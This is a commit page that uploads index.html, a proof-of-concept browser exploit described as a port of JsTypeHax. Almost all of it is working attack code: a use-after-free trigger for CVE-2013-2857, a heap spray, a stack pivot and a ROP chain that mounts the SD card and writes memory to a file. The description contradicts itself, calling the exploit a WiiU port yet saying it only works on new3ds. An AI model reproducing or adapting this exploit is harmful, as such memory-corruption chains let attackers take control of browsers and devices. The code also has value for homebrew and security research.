Initial hax POC upload

This is a port of JsTypeHax for the WiiU.
https://github.com/WiiUTest/JsTypeHax
All it does right now is dump SKATER's ram to SD, but the exploit does work. Only works on new3ds.

Author: zoogie

index.html

@@ -0,0 +1,102 @@
+<!--
+Tested on 5.5.1
+CVE-2013-2857
+Use after free https://bugs.chromium.org/p/chromium/issues/detail?id=240124
+Result: Bug is present, crash
+types=["checkbox","color","date","datetime-local","email","file","hidden","image","month","number","password","radio","range","reset","search","submit","tel","text","time","url","week"]
+-->
+<script>
+
+function UaF3(a)
+{
+	var bsize=0x2000000;
+	var p = new ArrayBuffer(bsize); 
+	var payload = new Uint32Array(p);
+	bsize=0x800000;
+	
+	for(var b=0;b<bsize/4;b++){
+		//payload[b]=0x90000000+(b*4);
+		payload[b]=0;
+	}
+
+	payload[(0x1ba000+0x18)/4]=0x09300000;
+	payload[(0x1ba000)/4]=0x09300000;
+	payload[(0x1ba000+0x14c)/4]=0x00ac144c; //ldmdb r0!, {ip, sp, lr, pc} (stack pivot)
+	payload[(0x1ba000-0x4)/4]=0x001df60c;	//POP_PC   (pivot pc)
+	payload[(0x1ba000-0x8)/4]=0x44444444;	//GARBAGE  (lr)
+	payload[(0x1ba000-0xC)/4]=0x09310000;	//ROP_ADDR (pivot sp)
+	
+/* 
+seg006:009DC170				 LDR			 R0, [R5,#4]
+seg006:009DC172				 LDR			 R0, [R0,#0x18]
+seg006:009DC174				 LDR			 R1, [R0]
+seg006:009DC176				 ADDS			R1, #0xFF
+seg006:009DC178				 ADDS			R1, #0x41
+seg006:009DC17A				 LDR			 R1, [R1,#0xC]
+seg006:009DC17C				 BLX			 R1
+*/
+
+	var POP_R0PC=0x00296e64;
+	var POP_R1PC=0x0023e578;
+	var POP_R0R3PC=0x00226d3c;
+	var svcSleepThread=0x002d8cd4;
+	var FS_MountSdmc=0x00318d30+4;
+	var IFile_Open=0x003222e4+4;
+	var IFile_Write=0x00327258+4;
+	var GARBAGE=0x44444444;
+	var FILE=0x09311000;
+	//POP_R0R3PC=GARBAGE;
+	
+	
+	//return;
+	var rop=[
+		POP_R0PC,
+			0x2eccf2,	// mc:
+		FS_MountSdmc,
+			GARBAGE,
+			GARBAGE,
+			GARBAGE,
+		POP_R0R3PC,
+			FILE,
+			0x0931005c,	// mc:/rd
+			6,
+			GARBAGE,
+		IFile_Open,
+			GARBAGE,
+			GARBAGE,
+			GARBAGE,
+			GARBAGE,
+			GARBAGE,
+		POP_R0R3PC,
+			FILE,
+			FILE+32,
+			0x100000,
+			0x328000,
+		IFile_Write,
+			0x0063006d,
+			0x002f003a,
+			0x00640072,
+			0
+	]
+	
+	for(var i=0; i < rop.length; i++){
+		payload[(0x1ba000+0x10000+(i*4))/4]=rop[i];
+	}
+	
+	for(var i=0;i<1000;i++){
+		var buf = new ArrayBuffer(0x18);
+		var bufView = new Uint32Array(buf);
+		bufView[0]=0x11131100;
+		bufView[1]=0x09300000; //r5
+		bufView[2]=0x39010018; //r6
+		bufView[3]=0x44161400;
+		bufView[4]=0xffffffff;
+		bufView[5]=0x66181600;
+		a.type="hidden";
+	}
+	
+	return 0;
+}
+</script>
+
+<input type="image" onerror="UaF3(this);" src=""/>